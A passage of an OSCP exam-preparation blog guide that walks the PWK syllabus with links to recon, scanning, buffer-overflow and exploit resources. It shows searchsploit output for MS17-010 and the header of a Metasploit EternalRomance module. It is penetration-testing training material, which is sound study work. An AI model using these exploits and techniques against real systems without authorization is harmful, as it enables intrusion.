&lt;p&gt;For the past 4 years of my life I had one goal: Pass OSCP on my first try. I started by reviewing the course syllabus and I realized there were some things that I did not know, which made me nervous to start the course. So, I went through a variety of resources until I thought I was ready to begin. This guide contains those resources and my advice to prepare for your adventure to take the PWK/OSCP!&lt;/p&gt;

&lt;p&gt;For those of you that would like to know about my journey when I took the course and exam, you can find my earlier post here: 
&lt;a href=&quot;https://www.netsecfocus.com/oscp/review/2019/01/29/An_Adventure_to_Try_Harder_Tjnulls_OSCP_Journey.html&quot;&gt;https://www.netsecfocus.com/oscp/review/2019/01/29/An_Adventure_to_Try_Harder_Tjnulls_OSCP_Journey.html&lt;/a&gt;&lt;/p&gt;

&lt;h1 id=&quot;dedication&quot;&gt;Dedication:&lt;/h1&gt;
&lt;p&gt;A big shout out goes to abatchy! Without his guide I would have never started exploring for other resources. Thank you for creating your original guide: 
&lt;a href=&quot;https://www.abatchy.com/2017/03/how-to-prepare-for-pwkoscp-noob&quot;&gt;https://www.abatchy.com/2017/03/how-to-prepare-for-pwkoscp-noob&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I also want to thank the following people for taking the time to read this guide:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://twitter.com/reybango&quot;&gt;Rey Bango&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://twitter.com/TunnyTraffic&quot;&gt;Tunny Traffic aka VCSEC. A moderator at Netsec Focus&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://twitter.com/g0tmi1k&quot;&gt;G0t Mi1k&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;The team at &lt;a href=&quot;https://twitter.com/offsectraining&quot;&gt;Offensive Security&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This guide has been approved by Offensive Security!&lt;/p&gt;

&lt;h1 id=&quot;a-word-of-warning&quot;&gt;A Word of Warning!:&lt;/h1&gt;
&lt;p&gt;Do not expect these resources to be the main thing you use for obtaining OSCP. When you are ready to take the course, you should expect the following:&lt;/p&gt;
&lt;ol&gt;
  &lt;li&gt;Spending a lot of time researching.&lt;/li&gt;
  &lt;li&gt;Do not expect the admins or even other students to give you answers easily.&lt;/li&gt;
  &lt;li&gt;Plan to make a commitment to this and have an open mindset to learning new things.&lt;/li&gt;
  &lt;li&gt;Know your tools! There are certain tools that you cannot use for the exam. However, that does not mean you should skip over them. Take some time to understand them because you may have to use them on an actual engagement or in the field.&lt;/li&gt;
  &lt;li&gt;Remember Offensive Security motto: TRY HARDER&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;As of now Offensive Security has restricted the following tools:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Commercial tools or services (Metasploit Pro, Burp Pro, etc.)&lt;/li&gt;
  &lt;li&gt;Automatic exploitation tools (e.g. db_autopwn, browser_autopwn, SQLmap, SQLninja etc.)&lt;/li&gt;
  &lt;li&gt;Mass vulnerability scanners (e.g. Nessus, NeXpose, OpenVAS, Canvas, Core Impact, SAINT, etc.)&lt;/li&gt;
  &lt;li&gt;Features in other tools that utilize either forbidden or restricted exam limitations&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Reference: &lt;a href=&quot;https://support.offensive-security.com/oscp-exam-guide/&quot;&gt;https://support.offensive-security.com/oscp-exam-guide/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Most importantly: Have fun! You will learn a lot from this course, take your time to understand the material and this guide. 
Do not forget to take breaks and spend time away from the electronics. Trust me you do not want to burn yourself out.&lt;/p&gt;

&lt;p&gt;Course Syllabus:&lt;/p&gt;

&lt;p&gt;The 2nd most important resource that I used to help me prepare for the course:
&lt;a href=&quot;https://www.offensive-security.com/documentation/penetration-testing-with-kali.pdf&quot;&gt;https://www.offensive-security.com/documentation/penetration-testing-with-kali.pdf&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;From the syllabus I will breakdown each section by providing you the resources I used to prepare for the course. Once I finish going through the syllabus, I will also be providing some extra resources that came in handy. You don’t need to use this guide in order; feel free to jump around as it suits you.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Getting Comfortable with Kali Linux&lt;/li&gt;
  &lt;li&gt;Essential Tools in Kali&lt;/li&gt;
  &lt;li&gt;Passive Reconnaissance&lt;/li&gt;
  &lt;li&gt;Active Reconnaissance&lt;/li&gt;
  &lt;li&gt;Vulnerability Scanning&lt;/li&gt;
  &lt;li&gt;Buffer Overflows&lt;/li&gt;
  &lt;li&gt;Working with Public Exploits&lt;/li&gt;
  &lt;li&gt;File Transfer&lt;/li&gt;
  &lt;li&gt;Privilege Escalation&lt;/li&gt;
  &lt;li&gt;Client-Side Attacks&lt;/li&gt;
  &lt;li&gt;Web Application Attacks&lt;/li&gt;
  &lt;li&gt;Password Attacks&lt;/li&gt;
  &lt;li&gt;Tunneling/Pivoting&lt;/li&gt;
  &lt;li&gt;Introduction to the Metasploit Framework&lt;/li&gt;
  &lt;li&gt;Antivirus Bypassing&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;section-1-getting-comfortable-with-kali-linux&quot;&gt;Section 1: Getting Comfortable with Kali Linux&lt;/h1&gt;
&lt;p&gt;Kali Linux Revealed and Online Course: 
A good foundational course that helped me understand more about Kali Linux and it has a nice Linux Fundamentals section as well.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Book Link: &lt;a href=&quot;https://kali.training/downloads/Kali-Linux-Revealed-1st-edition.pdf&quot;&gt;https://kali.training/downloads/Kali-Linux-Revealed-1st-edition.pdf&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Online Course Link: &lt;a href=&quot;https://kali.training/lessons/introduction/&quot;&gt;https://kali.training/lessons/introduction/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Bash Scripting: 
The bash Guide: A good guide to get you into the bash scripting&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://guide.bash.academy/&quot;&gt;https://guide.bash.academy/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Linux Journey: 
A huge guide to learn about a variety of different things in Linux. All the lessons are free.&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://linuxjourney.com/&quot;&gt;https://linuxjourney.com/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Explainshell: 
Awesome resource that parses a variety of man pages from Ubuntu Manage Repository. It breaks down the commands you are using, but it is best to refer to the man pages if you have any questions: .&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.explainshell.com/&quot;&gt;https://www.explainshell.com/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/TJNulls_Preparation_Guide_for_PWK/image.png&quot; alt=&quot;alt-text&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Hands on challenge to get comfortable with Linux:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Overthewire Bandit: &lt;a href=&quot;https://overthewire.org/wargames/bandit/&quot;&gt;https://overthewire.org/wargames/bandit/&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Cmdchallenge.com: &lt;a href=&quot;https://cmdchallenge.com/&quot;&gt;https://cmdchallenge.com/&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;HackerRank Linux Shell: &lt;a href=&quot;https://www.hackerrank.com/domains/shell&quot;&gt;https://www.hackerrank.com/domains/shell&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Books:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;The Linux Command Line (2nd Edition is coming soon!): &lt;a href=&quot;https://nostarch.com/tlcl2&quot;&gt;https://nostarch.com/tlcl2&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Linux for Hackers: &lt;a href=&quot;https://nostarch.com/linuxbasicsforhackers&quot;&gt;https://nostarch.com/linuxbasicsforhackers&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;section-2-essential-tools-in-kali&quot;&gt;Section 2: Essential Tools in Kali&lt;/h1&gt;
&lt;p&gt;Netcat: The TCP/IP Swiss Army tool. Experiment with this tool and understand what it does because you will be using this almost every day during the time in your course.&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;SANS Netcat Cheatsheet: &lt;a href=&quot;https://www.sans.org/security-resources/sec560/netcat_cheat_sheet_v1.pdf&quot;&gt;https://www.sans.org/security-resources/sec560/netcat_cheat_sheet_v1.pdf&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Ncat: A better version of netcat in my opinion. Supports SSL communication and it is part of Nmap.&lt;/p&gt;

&lt;p&gt;TCPDump: Command line base Network Analysis Tool. Very useful and good to know if you are on a system that does not have a gui interface. Here is a good cheat sheet I used for tcpdump when I needed to troubleshoot my exploits: &lt;a href=&quot;https://www.andreafortuna.org/technology/networking/tcpdump-a-simple-cheatsheet/&quot;&gt;https://www.andreafortuna.org/technology/networking/tcpdump-a-simple-cheatsheet/&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Daniel Miessler TCPDump Guide: &lt;a href=&quot;https://danielmiessler.com/study/tcpdump/&quot;&gt;https://danielmiessler.com/study/tcpdump/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Wireshark: GUI based Network Analysis tool. There a lot of free PCAP’s samples online that you can use to understand how Wireshark works. Be careful with downloading some of these PCAP files because they may contain malware on them :D&lt;/p&gt;

&lt;p&gt;PCAP Samples:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Netresec: &lt;a href=&quot;https://www.netresec.com/?page=pcapfiles&quot;&gt;https://www.netresec.com/?page=pcapfiles&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Malware Traffic Analysis: &lt;a href=&quot;https://www.malware-traffic-analysis.net/&quot;&gt;https://www.malware-traffic-analysis.net/&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Packettotal (Just like virustotal but for PCAP Analysis): &lt;a href=&quot;https://packettotal.com/&quot;&gt;https://packettotal.com/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;section-3-passive-reconnaissance&quot;&gt;Section 3: Passive Reconnaissance&lt;/h1&gt;
&lt;p&gt;Take some time to learn about these tricks and techniques. They will certainly come in handy!&lt;/p&gt;

&lt;p&gt;Google Dorks: Using various google searches that you can find that may expose sensitive information about a target.&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;SANS Google Dork Cheatsheet: &lt;a href=&quot;https://www.sans.org/security-resources/GoogleCheatSheet.pdf&quot;&gt;https://www.sans.org/security-resources/GoogleCheatSheet.pdf&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Google Hacking Database: &lt;a href=&quot;https://www.exploit-db.com/google-hacking-database&quot;&gt;https://www.exploit-db.com/google-hacking-database&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Netcraft: &lt;a href=&quot;https://netcraft.com/&quot;&gt;https://netcraft.com/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Email Harvesting:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;theharvester: &lt;a href=&quot;https://github.com/laramies/theharvester&quot;&gt;https://github.com/laramies/theharvester&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;recon-ng: &lt;a href=&quot;https://bitbucket.org/LaNMaSteR53/recon-ng/overview&quot;&gt;https://bitbucket.org/LaNMaSteR53/recon-ng/overview&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Additional Resources: 
Tools I did not use in the lab but I used them for preparation and they have come in handy for other tests.&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Domaintools: &lt;a href=&quot;http://whois.domaintools.com/&quot;&gt;http://whois.domaintools.com/&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;MX Toolbox: &lt;a href=&quot;https://mxtoolbox.com/DNSLookup.aspx&quot;&gt;https://mxtoolbox.com/DNSLookup.aspx&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;section-4-active-reconnaissance&quot;&gt;Section 4: Active Reconnaissance&lt;/h1&gt;
&lt;p&gt;Introduction to DNS: 
If you do not know what DNS is or how it works, here is a great guide that I used to better understand it from Digital Ocean: 
&lt;a href=&quot;https://www.digitalocean.com/community/tutorials/an-introduction-to-dns-terminology-components-and-concepts&quot;&gt;https://www.digitalocean.com/community/tutorials/an-introduction-to-dns-terminology-components-and-concepts&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;If you think you have a good understanding of what DNS is then you will also need to understand how to perform forward and reverse lookups. In addition, you should also know how zone transfers work and how to perform them. Performing these tests will certainly help you better understand what your targets are in the lab. For more information about these techniques check out this article here: 
&lt;a href=&quot;https://resources.infosecinstitute.com/dns-enumeration-techniques-in-linux/#gref&quot;&gt;https://resources.infosecinstitute.com/dns-enumeration-techniques-in-linux/#gref&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Tools for DNS Enumeration:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Dnsrecon Created by Darkoperator: &lt;a href=&quot;https://github.com/darkoperator/dnsrecon&quot;&gt;https://github.com/darkoperator/dnsrecon&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;network-scanning&quot;&gt;Network Scanning:&lt;/h3&gt;

&lt;p&gt;Nmap: 
A tool that you should 100% totally learn about. You will probably use this everyday (If not most of the time while you are in the lab). I highly recommend you take some time to learn what the tool does, how each command switch works, each scanning technique you can run, and any other capabilities. 
Nmap is a powerful tool that has the ability to determine what hosts are online, what services they are running, what operating system is running on that host, and dozens of characteristics.  In addition, one of the most powerful features that you should also learn is the Nmap Scripting Engine (NSE). With NSE scripts you have the ability automate a wide variety of networking tasks for your scans including vulnerability detection and exploitation. 
 Here are my resources that I used to learn more about Nmap:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Nmap Official Guide: I used this more than the man pages. I highly recommend purchasing the full book since the official guide is missing a few chapters, such as “Detecting and Subverting Firewalls and Intrusion Detection Systems”, “Optimizing Nmap Performance”, “Port Scanning Techniques and Algorithms”, “Host Discovery (Ping Scanning)”, and more. &lt;a href=&quot;https://nmap.org/book/toc.html&quot;&gt;https://nmap.org/book/toc.html&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Link for Nmap Network Scanning Book (if you want to purchase it): &lt;a href=&quot;https://www.amazon.com/Nmap-Network-Scanning-Official-Discovery/dp/0979958717&quot;&gt;https://www.amazon.com/Nmap-Network-Scanning-Official-Discovery/dp/0979958717&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;SANS Nmap Cheatsheet: &lt;a href=&quot;https://blogs.sans.org/pen-testing/files/2013/10/NmapCheatSheetv1.1.pdf&quot;&gt;https://blogs.sans.org/pen-testing/files/2013/10/NmapCheatSheetv1.1.pdf&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Nmap Scripting Engine (NSE): &lt;a href=&quot;https://nmap.org/book/man-nse.html&quot;&gt;https://nmap.org/book/man-nse.html&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;ZephrFish Nmap Blog: &lt;a href=&quot;https://blog.zsec.uk/nmap-rtfm/&quot;&gt;https://blog.zsec.uk/nmap-rtfm/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;service-enumeration&quot;&gt;Service Enumeration:&lt;/h3&gt;
&lt;p&gt;There are a variety of services running on so many systems…take the time to understand them! Do not just scan them and move on. Take some time to look at each of them because they could be a key for you to obtain shell access on a system!&lt;/p&gt;

&lt;p&gt;Abatchy provided a link from 0day security that gave me a lot of ideas and things to look for that I may have missed when I skipped some the of the services in the lab. You can find that resource here: 
&lt;a href=&quot;http://0daysecurity.com/penetration-testing/enumeration.html&quot;&gt;http://0daysecurity.com/penetration-testing/enumeration.html&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Highoncoffee Penetration Testing Cheatsheet: &lt;a href=&quot;https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/&quot;&gt;https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/&lt;/a&gt;&lt;/p&gt;

&lt;h1 id=&quot;section-5-vulnerability-scanning&quot;&gt;Section 5: Vulnerability Scanning&lt;/h1&gt;
&lt;p&gt;I did not spend too much time in this section for preparation because vulnerability scanners are simple and easy to configure. In addition, the purpose of a vulnerability scanner is to identify security holes in services or in a operating system. These scanners rely on a database that contains the necessary information needed to conduct a scan. 
A word of caution! Be careful when you use vulnerability scanners on your targets because there is a chance that some of the plugins or features can cause an impact to your target such as taking down that service, locking out user accounts, and even crash the system. 
In the syllabus the tool recommends that you use OpenVAS since it is a full-featured vulnerability scanner. However, there are other vulnerability scanners out there and I highly recommend playing with Nessus: 
&lt;a href=&quot;https://www.tenable.com/products/nessus/nessus-professional&quot;&gt;https://www.tenable.com/products/nessus/nessus-professional&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The reason why I am stating that you should use Nessus is because it is more stable on Kali Linux and it has simple straightforward interface. I also was able to use the Nessus Home key for most of my testing and to help me get more familiar with how these vulnerability scanners work.  Nessus is a real popular tool for vulnerability scanning in the infosec world and I certainly encourage you to play with it!&lt;/p&gt;

&lt;p&gt;For instructions on how to install Nessus on Kali Linux you can find it here: 
&lt;a href=&quot;https://www.tenable.com/blog/getting-started-with-nessus-on-kali-linux&quot;&gt;https://www.tenable.com/blog/getting-started-with-nessus-on-kali-linux&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;For obtaining a Nessus key you can grab one here: 
&lt;a href=&quot;https://www.tenable.com/products/nessus-home&quot;&gt;https://www.tenable.com/products/nessus-home&lt;/a&gt;&lt;/p&gt;

&lt;h1 id=&quot;section-6-buffer-overflows&quot;&gt;Section 6: Buffer Overflows&lt;/h1&gt;
&lt;p&gt;My favorite section to learn about! The material provided in the PWK was fantastic and really straightforward. Throughout the internet you will probably find a variety of different resources to help you understand how buffer overflows work. With that being said I will provide some of my notes and resources that helped me understand how buffer overflows.&lt;/p&gt;

&lt;p&gt;Corelan Team:  A huge shout out to these guys because their articles from information security to exploit development are absolutely incredible!
They have an article they posted about Stack Based Overflows that gave me a better understanding of identifying a buffer overflow in an application:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Part 1: 
&lt;a href=&quot;https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-1-stack-based-overflows/&quot;&gt;https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-1-stack-based-overflows/&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Part 2: 
&lt;a href=&quot;https://www.corelan.be/index.php/2009/07/23/writing-buffer-overflow-exploits-a-quick-and-basic-tutorial-part-2/&quot;&gt;https://www.corelan.be/index.php/2009/07/23/writing-buffer-overflow-exploits-a-quick-and-basic-tutorial-part-2/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Once I finished reading the articles I decided to start going through write-ups and forums where people manually identified buffer overflows in certain applications. With these walkthroughs I used Exploit-DB to check if they had the vulnerable application in many cases. I won’t provide any of these walkthroughs but I will at least provide the binaries that you can use to manually identify buffer overflows.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Windows Binaries (Recommend that you run these on Windows 7/XP 32 bit):&lt;/li&gt;
  &lt;li&gt;Vulnserver: &lt;a href=&quot;https://samsclass.info/127/proj/vuln-server.htm&quot;&gt;https://samsclass.info/127/proj/vuln-server.htm&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Minishare 1.4.1: &lt;a href=&quot;https://www.exploit-db.com/exploits/636&quot;&gt;https://www.exploit-db.com/exploits/636&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Savant Web Server 3.1: &lt;a href=&quot;https://www.exploit-db.com/exploits/10434&quot;&gt;https://www.exploit-db.com/exploits/10434&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Freefloat FTP Server 1.0: &lt;a href=&quot;https://www.exploit-db.com/exploits/40673&quot;&gt;https://www.exploit-db.com/exploits/40673&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Core FTP Server 1.2: &lt;a href=&quot;https://www.exploit-db.com/exploits/39480&quot;&gt;https://www.exploit-db.com/exploits/39480&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Linux Binaries:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Linux Buffer Overflow: &lt;a href=&quot;https://samsclass.info/127/proj/lbuf1.htm&quot;&gt;https://samsclass.info/127/proj/lbuf1.htm&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Vulnerable Boxes:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Brainpan 1:  &lt;a href=&quot;https://www.vulnhub.com/entry/brainpan-1,51/&quot;&gt;https://www.vulnhub.com/entry/brainpan-1,51/&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Pinky’s Palace version 1: &lt;a href=&quot;https://www.vulnhub.com/entry/pinkys-palace-v1,225/&quot;&gt;https://www.vulnhub.com/entry/pinkys-palace-v1,225/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Other Resources:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Whitepaper Introduction to Immunity Debugger: &lt;a href=&quot;https://www.sans.org/reading-room/whitepapers/malicious/basic-reverse-engineering-immunity-debugger-36982&quot;&gt;https://www.sans.org/reading-room/whitepapers/malicious/basic-reverse-engineering-immunity-debugger-36982&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Buffer Overflows for Dummies: &lt;a href=&quot;https://www.sans.org/reading-room/whitepapers/threats/buffer-overflows-dummies-481&quot;&gt;https://www.sans.org/reading-room/whitepapers/threats/buffer-overflows-dummies-481&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Vortex Stack Buffer Overflow Practice: &lt;a href=&quot;https://www.vortex.id.au/2017/05/pwkoscp-stack-buffer-overflow-practice/&quot;&gt;https://www.vortex.id.au/2017/05/pwkoscp-stack-buffer-overflow-practice/&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Smashing the Stack For Fun and Profit: &lt;a href=&quot;http://www-inst.eecs.berkeley.edu/~cs161/fa08/papers/stack_smashing.pdf&quot;&gt;http://www-inst.eecs.berkeley.edu/~cs161/fa08/papers/stack_smashing.pdf&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;section-7-handling-public-exploits&quot;&gt;Section 7: Handling Public Exploits&lt;/h1&gt;

&lt;p&gt;There will come a time that you will need to use a public exploit on your target to see if you can obtain a shell on it. With that exploit you may need to modify shellcode or even parts of the exploit to match with your system to obtain a connection from your target.
A word of advice:&lt;/p&gt;

&lt;p&gt;Before you download a public exploit I would consider you take some time to review the code and understand what the exploit is suppose to actually too. If you do not understand how the code works…do some research!!! I am absolutely positive you can find proof of concepts online and walkthroughs that will explain how the exploit actually works.  Not all exploits are going to work right out of the box you will need to configure them to make sure they can reach back to your attacking system. If you do not review the exploit code or make any modifications, then you are running risk that the exploit will fail, crash your target system/service, or it may allow other users to connect into the system.&lt;/p&gt;

&lt;p&gt;Places to find exploits:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.exploit-db.com/&quot;&gt;https://www.exploit-db.com/&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://packetstormsecurity.com/files/tags/exploit/&quot;&gt;https://packetstormsecurity.com/files/tags/exploit/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Tools for finding exploits:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Searchsploit: a command line search tool for Exploit-DB that has a repo of Exploit Database with you.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Command Examples:&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;searchsploit MS-17-010&lt;/code&gt;: finds all cases/exploits linked to MS17-010&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@kali:~# searchsploit ms17-010
--------------------------------------------------------------------------------------------------- ----------------------------------------
 Exploit Title                                                                                     |  Path
                                                                                                   | (/usr/share/exploitdb/)
--------------------------------------------------------------------------------------------------- ----------------------------------------
Microsoft Windows - &apos;EternalRomance&apos;/&apos;EternalSynergy&apos;/&apos;EternalChampion&apos; SMB Remote Code Execution  | exploits/windows/remote/43970.rb
Microsoft Windows - SMB Remote Code Execution Scanner (MS17-010) (Metasploit)                      | exploits/windows/dos/41891.rb
Microsoft Windows Server 2008 R2 (x64) - &apos;SrvOs2FeaToNt&apos; SMB Remote Code Execution (MS17-010)      | exploits/windows_x86-64/remote/41987.py
Microsoft Windows Windows 7/2008 R2 - &apos;EternalBlue&apos; SMB Remote Code Execution (MS17-010)           | exploits/windows/remote/42031.py
Microsoft Windows Windows 7/8.1/2008 R2/2012 R2/2016 R2 - &apos;EternalBlue&apos; SMB Remote Code Execution  | exploits/windows/remote/42315.py
Microsoft Windows Windows 8/8.1/2012 R2 (x64) - &apos;EternalBlue&apos; SMB Remote Code Execution (MS17-010) | exploits/windows_x86-64/remote/42030.py
--------------------------------------------------------------------------------------------------- ----------------------------------------

Shellcodes: No Result

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;searchsploit -x /usr/share/exploitdb/exploits/windows/remote/43970.rb&lt;/code&gt;: The -x command switch allows you to examine the exploit code or information about the exploit. You can also upload nmap xml files to Searchsploit so it can find available exploits that match your target.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@kali:~# searchsploit -x /usr/share/exploitdb/exploits/windows/remote/43970.rb

Snippet of the exploit: 
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

# Windows XP systems that are not part of a domain default to treating all
# network logons as if they were Guest. This prevents SMB relay attacks from
# gaining administrative access to these systems. This setting can be found
# under:
#
#  Local Security Settings &amp;gt;
#   Local Policies &amp;gt;
#    Security Options &amp;gt;
#     Network Access: Sharing and security model for local accounts

class MetasploitModule &amp;lt; Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::SMB::Client::Psexec_MS17_010
  include Msf::Exploit::Powershell
  include Msf::Exploit::EXE
  include Msf::Exploit::WbemExec
  include Msf::Auxiliary::Report

  def initialize(info = {})
    super(update_info(info,
      &apos;Name&apos;           =&amp;gt; &apos;MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution&apos;,
      &apos;Description&apos;    =&amp;gt; %q{
        This module will exploit SMB with vulnerabilities in MS17-010 to achieve a write-what-where
        primitive. This will then be used to overwrite the connection session information with as an
        Administrator session. From there, the normal psexec payload code execution is done.

        Exploits a type confusion between Transaction and WriteAndX requests and a race condition in
        Transaction requests, as seen in the EternalRomance, EternalChampion, and EternalSynergy
        exploits. This exploit chain is more reliable than the EternalBlue exploit, but requires a
        named pipe.
        
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Play with some of the other command switches that Searchsploit has because it will make it much easier for you to find exploits on your kali box.&lt;/p&gt;

&lt;h1 id=&quot;section-8-transferring-files-to-your-target&quot;&gt;Section 8: Transferring Files to your target:&lt;/h1&gt;
&lt;p&gt;Depending on the target system you obtain access too you may not have the ability to transfer exploits or other tools you need to that system. With this being said you will need to figure out some techniques to transfer files to and from your target system. Here are a few guides I used to get a better understanding of how to transfer files onto Windows and Linux systems:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;Awakened: Transfer files from Kali to the target machine
&lt;a href=&quot;https://awakened1712.github.io/oscp/oscp-transfer-files/&quot;&gt;https://awakened1712.github.io/oscp/oscp-transfer-files/&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Ropnop Transferring Files from Linux to Windows (post-exploitation):
&lt;a href=&quot;https://blog.ropnop.com/transferring-files-from-kali-to-windows/&quot;&gt;https://blog.ropnop.com/transferring-files-from-kali-to-windows/&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;One tool that I also found interesting to transfer files on windows systems is using bitsadmin. The tool is a command-line tool that you can use to create download or upload jobs and monitor their progress. 
You can find examples on how to use the tool here: 
&lt;a href=&quot;https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-examples&quot;&gt;https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-examples&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Another tool you can check out is &lt;a href=&quot;https://github.com/SecureAuthCorp/impacket&quot;&gt;Impacket&lt;/a&gt;. This tool contains a variety of programming classes that you can use to interact with target networks to parse raw data or you can be able to use their scripts to transfer files to or from your target host.&lt;/p&gt;

&lt;p&gt;Also check out python modules like these:&lt;/p&gt;
&lt;ul&gt;
